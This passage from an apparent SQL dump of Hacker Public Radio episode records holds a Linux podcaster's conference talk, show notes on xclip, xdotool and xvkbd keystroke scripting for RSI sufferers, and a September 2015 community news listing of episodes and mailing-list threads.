read the keyboard.\r\n</p>\r\n<p>\r\nC. Before I talk about my history as a podcaster, I think I should tell you my history with Linux.\r\n</p>\r\n<p>\r\nI. My first experience with Linux was with a boxed set of Mandrake 7.2 around 2002.  I always maintain at least a second running system in the house, in case the primary machine coughs up a hairball. I\'d always been a geek alternative OS\'s, and I wanted a tertiary machine on my network that wouldn\'t be affected by the propagation of Windows viruses. \r\n</p>\r\n<p>\r\na. There wasn\'t much flash to Linux apps in those days, I recall I was not impressed by whichever browser shipped with Mandrake.  I don\'t recall what I knew about installing additional applications from repositories, but in any case I was still on dialup.  \r\n</p>\r\n<p>\r\nb. The Pentium I that I installed Mandrake on had both a modem and an Ethernet card. The installer asked which one I used to reach the Internet, and only set up one of the two devices.  This annoyed me as I\'d planned to use the Linux box as a gateway to see if it would save a few CPU cycles on the P4 I used as a gaming machine back then.  I really wouldn\'t have know where to go on the Internet for help, and I expect help would not be as forth coming 13 years ago.\r\n</p>\r\n<p>\r\nII. My next experience with Linux came around 2007.  The school I consulted for had several Windows 98 machines not compatible with the software they wanted to run. Even though the machines were P4\'s, we determined the cost of XP plus memory upgrades could better be applied to new machines.  As a result, I was able to bring several of the machines home.  Over time, I boosted their memory with used sticks from eBay, and even the odd faster processor.  As a noob, I installed Feisty Fawn on a system out in the machine shed, and spent a lot of that winter hacking on that box when I should have been overhauling tractors.  Just as I was delving into NDIS wrappers, Gusty brought support for my Gigabyte wireless card, which combined with a double fork isolating power box, gave me reasonable certainty that the box out in the shed was safe from lightning storms.  About six months later, I rescued up a refugee from a major meteorological event and set it up in my house running Mint. For the first time I didn\'t have to leave the house to get my Linux on.\r\n</p>\r\n<p>\r\nD. Just before I set up that first Linux box, we finally got broadband out to the farm, and I\'d discovered podcasts.  I figured there must be Linux podcasts to go along the general tech and computing podcasts I followed, as well as a fondly remembered weekly SciFi revue show that started out as a Sunday afternoon show on a Wichita radio station, was canceled twice, and re-emerged as a semi weekly podcast, only to disappear forever a couple months after I started listening again, but not before I download all the episodes I missed.\r\n</p>\r\n<p>\r\nI. In my initial search for Linux related content, all I came up with were four drunk off their ass Scots discussing the minutia of Ruby on Rails.  While I liked the format, I lacked the commitment to become a Ruby programmer so I could understand the show.\r\n</p>\r\n<p>\r\nII. A few days later I came across \"The Techie Geek\".  Russ Wenner mixed tutorials with reviews of new applications and upcoming events.  Better yet, he introduced me to a world of other Linux podcasts.  Through \"The Techie Geek\", I learned of the irreverent banter of the \"Linux Outlaws\", the subdued studiousness of what was then called \"The Bad Apples\", the contained chaos of  the \"Linux Cranks\", the classroom like atmosphere of the \"Linux Basement\" during Chad\'s Drupal tutorial period, tech hints and movie reviews delivered at the speed of 75 miles per hour by Dave Yates of \"Lotta Linux Links\", the auditory dissonance of \"The Linux Link Tech Show\", and the constant daily variety of \"Hacker Public Radio\".\r\n</p>\r\n<p>\r\nE. In 2010, I made my first contribution to Hacker Public Radio.  The great thing about HPR is that there is no vetting process, we only ask your audio be intelligible (not polished, not even good, we just have to be able to understand you) and that the topic be of interest to geeks.  If you consider yourself a geek, any topic that interests you is welcome. There is no maximum or minimum runtime, just get the show uploaded on-time.  While topics tend concern open source, this is not a requirement.  I believe my second HPR concerned how to migrate Windows wireless connection profiles between systems.  I\'d spent a few hours figuring it out one day for a customer and I thought I should consolidate what I learned in one place.  HPR provides a podcasting platform at no cost to the podcaster.  It serves as both a venue for broadcasters without the resources to host their own site or without the time to commit to a regular schedule.  It can also serve as an incubator for hosts trying to find their own audience. It\'s never been easier to become a podcaster with HPR.  I would start with an e-mail introduction (as a courtesy) to <a href=\"mailto:admin@HackerPublicRadio.org\">admin@HackerPublicRadio.org</a>.  Next, record you audio. When you have a file ready to upload, select an open slot in the calendar page and follow the instructions, be prepared to paste in your shownotes.  \r\n</p>\r\n<p>\r\nF. I also credit HPR for getting me my first invite to participate in my first podcast with multiple hosts.  Once a month, Hacker Public Radio records a Community News podcast, recorded on the first Saturday afternoon after the end of the previous month (exact times and server details are published in the newsletter).  All HPR hosts, and indeed listeners are invited to participate, it is just asked that you have listened to most the the past month\'s shows so you can participate in the discussion.  \r\n</p>\r\n<p>\r\nI. Like most multi-host audio podcast\'s, HPR uses Mumble to record shows, including the annual New Year\'s Eve show, which has dozens of participants.  There is a Mumble tutorial on LinuxLUGCast.com to help you get started.\r\n</p>\r\n<p>\r\nII. I started to take part in Hacker Public Radio\'s Community News a few months after recording my first podcast.  I did it because I wanted to take a greater part in HPR, not because I considered it an audition, but it is a good way to show other people that you can politely and intelligently participate in a group discussion. (Actually, I have a tendency to wander off into tangents and unintentionally dominate the topic, something I struggle with to this day).\r\n</p>\r\n<p>\r\nIII. Another way to join in a round table discussion on HPR is to participate in the HPR Book Club.  Once a month, we take an audio book that is freely available  on the Internet and share our opinions.  Recording schedules and the next book to be reviewed are available in the HPR newsletter.\r\n</p>\r\n<p>\r\nG. I believe sharing one or more Community News with Patrick Dailey (aka pokey) influenced him to invite me into the cast of Dev Random.  The semi weekly Dev Random recorded of the Saturdays Kernel Panic didn\'t.  While we sometimes accidentally talked about tech and open source, we always saved the most disturbing things we\'d seen on the Internet in the previous two weeks for discussion on the show, things that could not be discussed on other podcasts.  Despite rumors to the contrary, dev random is not dead, only resting, and shall one day rise again to shock and disgust new generations of listeners.\r\n</p>\r\n<p>\r\nH. Sometimes you just have to be in the right place at the right time.  I won\'t insult the Kernel Panic Oggcast by calling it a sister show to Dev Random, it just recorded on opposite Saturdays and had some of the same cast members in common.  Anyway, I\'d been participating in the forum for a while, suggesting topics from FOSS stories I\'d come across in social media during the week.  I was idling in #oggcastplanet on Freenode when Peter Cross asked for people from the channel to participate in the show on a day only a couple of the regular cast showed up.  Dev Random used the same Mumble server, so I used my existing credentials to take Peter up on his offer, and for better or worse I\'ve been a KPO cast member ever since. \r\n</p>\r\n<p>\r\nI. While we are on the topic, having a presence on Freenode IRC chat is a great way to get your name or handle known in the podcasting world.  Many podcasts have their own channel set up that listeners participate in during live streaming podcasts.  Saying something helpful, (or more likely smart alecky) might get you mentioned on the show and make you familiar to the shows audience.  I\'ve seen several individuals move from regular forum or chat participants to the hosts of their own show or contributors to HPR.  From my own experience, after spending several weeks as silent participants in Podbrewers, listening to the stream and commenting in the chat, RedDwarf and myself were invited to bring our own beers and join the cast.  \r\n</p>\r\n<p>\r\nI. While many podcasts still have their own IRC channels, other than providing a conduit between the hosts, they are most active during live broadcasts.  Between shows, many of the podcasters I listen to gravitate to hanging around in Freenode\'s #oggcastplanet , since podcasters typically have a chat client open during work and leisure hours. In fact, at KPO we use #oggcastplanet as our primary communications channel during live streaming. \r\n</p>\r\n<p>\r\nII. I still recall the day monsterb and Peter64 asked me about the origin of my handle, given it\'s similarity to their colleague, threethirty.  I\'d heard both on podcasts I followed, and I felt like I was talking to rock stars.\r\n</p>\r\n<p>\r\nIII.  Now that I am a podcaster in my own right, with a presence in #oggcastplanet, I try to make a point to say hello when I see an unfamiliar handle in the channel.  I expect the spambots consider me the nicest guy in IRC. \r\n</p>\r\n<p>\r\nIV. As it happens, IRC was also responsible for my involvement in the Linux LUG Cast. LLC was conceived after the re-imaginging and final demise of Steve McLaughlin\'s project, \"Linux Basix\".  Kevin Wisher, chattr, and honkeymaggo wanted to do a show along the same lines while incorporating the spirit of the unrecorded online LUG that always preceded it on the mumble server.  I was brought along by the simple expediency of never having closed the #LinuxBasix channel in my chat client.  We have been going for a little more than a year and have attracted a following, but frankly we have not found the listener participation we were looking for.  This was meant to be a true online Linux Users Group for people couldn\'t travel to a LUG.  So far, it\'s usually been the same four of five guys talking about what Linux projects succeed, what failed, and what we we\'re going to try next.  I\'ve learned a lot in the past year, and I expect the listeners have as well, but we are always hoping to get more live participation.  Rural areas like the midwest are our target audience.  The details of the Mumble connection are posted at LinuxLUGCast.com, we always monitor the Freenode.org IRC channel #linuxlugcast while recording, and the Feedback link is posted on the website.\r\n</p>\r\n<p>\r\nThank you for your time and attention this afternoon, especially considering the caliber of talks running in the other two channels.  I can be contacted at <a href=\"mailto:FiftyOneFifty@LinuxBasement.com\">FiftyOneFifty@LinuxBasement.com</a> .  Are there any questions?\r\n</p>',131,0,0,'CC-BY-SA','#KLF15,KLF,Kansas Linux Fest',0,0,1),
(1750,'2015-04-17','xclip, xdotool, xvkbd: 3 CLI Linux tools for RSI sufferers',1258,'3 command-line tools that save me hundreds of keystrokes a day.','<h2>Basic commands</h2>\r\n\r\n\r\n<p>Type the words \"foo bar\" with <code>xvkbd</code>:</p>\r\n	<blockquote>\r\n		<code>xvkbd -xsendevent -secure -text &#39;foo bar&#39;</code> \r\n	</blockquote>\r\n\r\n<p>Types out the entire contents of the file \"foobar.txt\" with <code>xvkbd</code>:</p>\r\n	<blockquote>\r\n		<code>xvkbd -xsendevent -secure -file &quot;foobar.txt&quot;</code>\r\n	</blockquote>\r\n\r\n<p>Send text to the clipboard:</p>\r\n\r\n	<blockquote>\r\n		<code>xclip -i</code>\r\n	</blockquote>\r\n\r\n<p>Send clipboard contents to standard output:</p>\r\n\r\n	<blockquote>\r\n		<code>xclip -o</code>\r\n	</blockquote>\r\n\r\n<p>Do virtual <code>Ctrl+C</code> key combination with <code>xdotool</code>:</p>\r\n\r\n	<blockquote>\r\n		<code>xdotool key Control+c</code>\r\n	</blockquote>\r\n\r\n<p>Save this complicated command as an environment variable&mdash;then the variable \"$KEYPRESS\" expands to this command.</p>\r\n\r\n	<blockquote>\r\n		<code>export KEYPRESS=&quot;xvkbd -xsendevent -secure -text&quot;</code>\r\n	</blockquote>\r\n\r\n<h2>Examples</h2>\r\n\r\n<p>With virtual keystrokes and CLI access to the clipboard, you\'re limited only by your imagination and scripting ability. Here are some examples of how I use them, both for the manipulation of text and for navigation. The words in bold-face are the voice commands I use to launch the written commands. </p>\r\n\r\n<p><strong>Capitalize this</strong>. Copies selected text to the clipboard, pipes it through <code>sed</code> and back into the clipboard, then types fixed text back into my document:</p>\r\n\r\n<blockquote><pre>\r\nxdotool key Control+c &amp;&amp; xclip -o \\<br/>| sed \'s/\\(.*\\)/\\L\\1/\' \\<br/>| sed -r \'s/\\&lt;./\\U&amp;/g\' \\<br/>| xclip -i &amp;&amp; $KEYPRESS &quot;$(xclip -o)&quot; <br/>\r\n</pre>\r\n</blockquote>\r\n\r\n<p><strong>Go to grades</strong>. This example takes advantage of Firefox \"quick search.\" I start with a single quote to match the linked text \"grades\" and press the Return key (<code>\\r</code>) to follow the link:</p>\r\n\r\n<blockquote>\r\n<pre><code>$KEYPRESS &quot;\'grades\\r&quot;</code></pre>\r\n</blockquote>\r\n\r\n<p><strong>First Inbox</strong>. From any location within Thunderbird I can run this command and it executes the keystrokes to take me to the first inbox and put focus on the first message:</p>\r\n\r\n<blockquote><code>xdotool key Control+k &amp;&amp; $KEYPRESS &quot;\\[Tab]\\[Home]\\[Left]\\[Right]\\[Down]&quot; &amp;&amp; sleep .2 &amp;&amp; xdotool key Tab</code>\r\n</blockquote>\r\n\r\n<p><strong>single ex staff</strong>. Type out an entire Lilypond template into an empty text editor window:</p>\r\n\r\n<blockquote><code>xvkbd -xsendevent -secure -file &quot;/path/to/single_ex_staff.ly&quot;</code>\r\n</blockquote>\r\n\r\n<p><strong>Paragraph Tags</strong>. Puts HTML paragraph tags around selected text:</p>\r\n\r\n<blockquote><pre>\r\n#!/bin/bash<br/><br/>KEYPRESS=\'xvkbd -xsendevent -secure -text\'<br/><br/>xdotool key Control+c<br/><br/>$KEYPRESS \'&lt;p&gt;\'<br/>xdotool key Control+v<br/>$KEYPRESS \'&lt;/p&gt;\'<br/>\r\n</pre>\r\n</blockquote>\r\n\r\n<h2>Launching commands with keystrokes in Openbox</h2>\r\n\r\n<p>I normally use blather voice commands to launch the scripts and keystroke commands, but I have a handful of frequently-used commands that I launch using keystroke combos configured in the Openbox config file (<code>~/.config/openbox/rc.xml</code> on my system). This block configures the <code>super+n</code> key combo to launch my <code>examplelink.sh</code> script.</p>\r\n\r\n<blockquote>\r\n<pre>\r\n&lt;keybind key=&quot;W-n&quot;&gt;\r\n  &lt;action name=&quot;Execute&quot;&gt;\r\n	&lt;startupnotify&gt;\r\n	  &lt;enabled&gt;true&lt;/enabled&gt;\r\n	  &lt;name&gt;special&lt;/name&gt;\r\n	&lt;/startupnotify&gt;\r\n	&lt;command&gt;examplelink.sh&lt;/command&gt;\r\n  &lt;/action&gt;\r\n&lt;/keybind&gt;\r\n</pre>\r\n</blockquote>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>Amazing collection of one-line tricks for the <code>sed</code> stream editor: <a href=\"https://sed.sourceforge.net/sed1line.txt\">https://sed.sourceforge.net/sed1line.txt</a></li>\r\n	<li>Blather source code: <a href=\"https://gitorious.org/blather\">https://gitorious.org/blather</a>  </li>\r\n	<li>Sphinx knowledge base tool: <a href=\"https://www.speech.cs.cmu.edu/tools/lmtool-new.html\">https://www.speech.cs.cmu.edu/tools/lmtool-new.html</a>  </li>\r\n	<li>snapshot of my blather commands file: <a href=\"https://paste.jonkulp.net/sicegamupi.tex\">https://paste.jonkulp.net/sicegamupi.tex</a></li>\r\n	<li>Blather Installation Script for Debian: <a href=\"https://paste.jonkulp.net/lolilabuje\">https://paste.jonkulp.net/lolilabuje</a></li>\r\n</ul>\r\n',238,79,0,'CC-BY-SA','Accessibility, Linux, scripting, command line',0,0,1),
(1871,'2015-10-05','HPR Community News for September 2015',5519,'HPR Community News for September 2015','\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1847\" target=\"_blank\">1847</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-09-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1847\" target=\"_blank\">Client Side C- WTF Is Wrong With You?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1848\" target=\"_blank\">1848</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-09-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1848\" target=\"_blank\">Introduction to w3m, a Command Line Web Browser</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1849\" target=\"_blank\">1849</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-09-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1849\" target=\"_blank\">LinuxLugCast Episode-004 Outtakes</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1850\" target=\"_blank\">1850</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-09-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1850\" target=\"_blank\">18 - ssh Introduction</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1851\" target=\"_blank\">1851</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-09-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1851\" target=\"_blank\">HPR Community News for August 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1852\" target=\"_blank\">1852</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-09-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1852\" target=\"_blank\">Operation Wallacea</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1853\" target=\"_blank\">1853</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-09-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1853\" target=\"_blank\">I &lt;3 Vista</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1854\" target=\"_blank\">1854</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-09-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1854\" target=\"_blank\">Installing Ubuntu on the Asus TP500L</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1855\" target=\"_blank\">1855</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-09-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1855\" target=\"_blank\">61 - LibreOffice Impress - Slide Layouts and AutoLayout Text Boxes</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1856\" target=\"_blank\">1856</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-09-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1856\" target=\"_blank\">ssh config</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1857\" target=\"_blank\">1857</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-09-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1857\" target=\"_blank\">Adventures In Coffee</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1858\" target=\"_blank\">1858</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-09-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1858\" target=\"_blank\">Multimeter Mod&#39;s Part 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1859\" target=\"_blank\">1859</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-09-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1859\" target=\"_blank\">A Mouse in a Maze on the Raspberry PI</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1860\" target=\"_blank\">1860</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-09-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1860\" target=\"_blank\">FiftyOneFifty interviews Chris Waid of Save WiFi</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1861\" target=\"_blank\">1861</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-09-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1861\" target=\"_blank\">Cool Stuff pt. 4</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1862\" target=\"_blank\">1862</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-09-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1862\" target=\"_blank\">The Awesomely Epic Guide To KDE Part 1</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1863\" target=\"_blank\">1863</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-09-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1863\" target=\"_blank\">The Awesomely Epic Guide To KDE Part 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1864\" target=\"_blank\">1864</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-09-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1864\" target=\"_blank\">Turning an old printer into a network printer</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1865\" target=\"_blank\">1865</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-09-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1865\" target=\"_blank\">62 - LibreOffice Impress - Working With Text Boxes</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1866\" target=\"_blank\">1866</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-09-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1866\" target=\"_blank\">An awkward talk with two young computer users</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1867\" target=\"_blank\">1867</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-09-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1867\" target=\"_blank\">The Lafayette Public Library Maker Space</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1868\" target=\"_blank\">1868</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-09-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1868\" target=\"_blank\">Glasgow Podcrawl review</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-09-01 07:56:04 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2015-09-05T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/911\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/911</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-09-06 17:41:07 +0100<br/>\n        <em>Subject:</em> Test message. There seems to be a problem with the HPR list<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/914\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/914</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Charles Thayer &lt;catintp@...&gt;<br/>\n        <em>Date:</em> 2015-09-08 13:58:29 -0700<br/>\n        <em>Subject:</em> Markdown for HPR Show Notes<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/917\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/917</a><br/>\n        <em>Messages:</em> 6<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-09-09 10:53:50 +0200<br/>\n        <em>Subject:</em> HPR Menus are not accessible<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/918\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/918</a><br/>\n        <em>Messages:</em> 7<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-09-09 10:56:42 +0200<br/>\n        <em>Subject:</em> Mail list test with links - PLEASE IGNORE<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/919\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/919</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-09-12 17:08:25 -0500<br/>\n        <em>Subject:</em> Re: Submmiting markdown, WYSIWYG editors?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/932\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/932</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-09-14 09:55:26 +0200<br/>\n        <em>Subject:</em> Getting in new contributors<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/934\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/934</a><br/>\n        <em>Messages:</em> 22<br/><br/></li>\n    <li><em>From:</em> lostnbronx &lt;lostnbronx@...&gt;<br/>\n        <em>Date:</em> 2015-09-15 16:29:58 -0700<br/>\n        <em>Subject:</em> Re: Hpr Digest, Vol 84, Issue 16<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/949\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/949</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-09-16 03:10:51 -0500<br/>\n        <em>Subject:</em> Re: sounding stupid<br/>\n        <em>Link:</em> <a 